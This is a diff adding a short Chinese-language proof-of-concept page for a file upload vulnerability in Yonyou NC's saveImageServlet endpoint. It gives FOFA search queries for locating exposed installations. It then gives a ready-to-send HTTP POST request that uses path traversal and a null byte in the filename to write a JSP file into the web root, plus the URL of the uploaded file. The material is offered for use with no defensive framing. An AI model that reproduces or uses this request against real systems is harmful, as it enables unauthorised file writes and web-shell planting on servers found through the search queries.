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+## 用友NC_saveImageServlet接口存在文件上传漏洞
+
+
+## fofa
+```
+icon_hash="1085941792"  
+app="用友-UFIDA-NC"
+```
+
+## poc
+```
+POST /portal/pt/servlet/saveImageServlet/doPost?pageId=login&filename=../1.jsp%00 HTTP/1.1
+Host: 
+Content-Type: application/octet-stream
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
+Content-Length: 19
+
+111
+```
+
+文件路径`http://ip:port/portal/processxml/1.jsp`
+
+![image](https://github.com/wy876/POC/assets/139549762/be012248-101f-4491-863e-4e71c5312ce4)
+
+![image](https://github.com/wy876/POC/assets/139549762/38da1f69-fe44-4cad-b663-b9dfd632d7dd)
+
+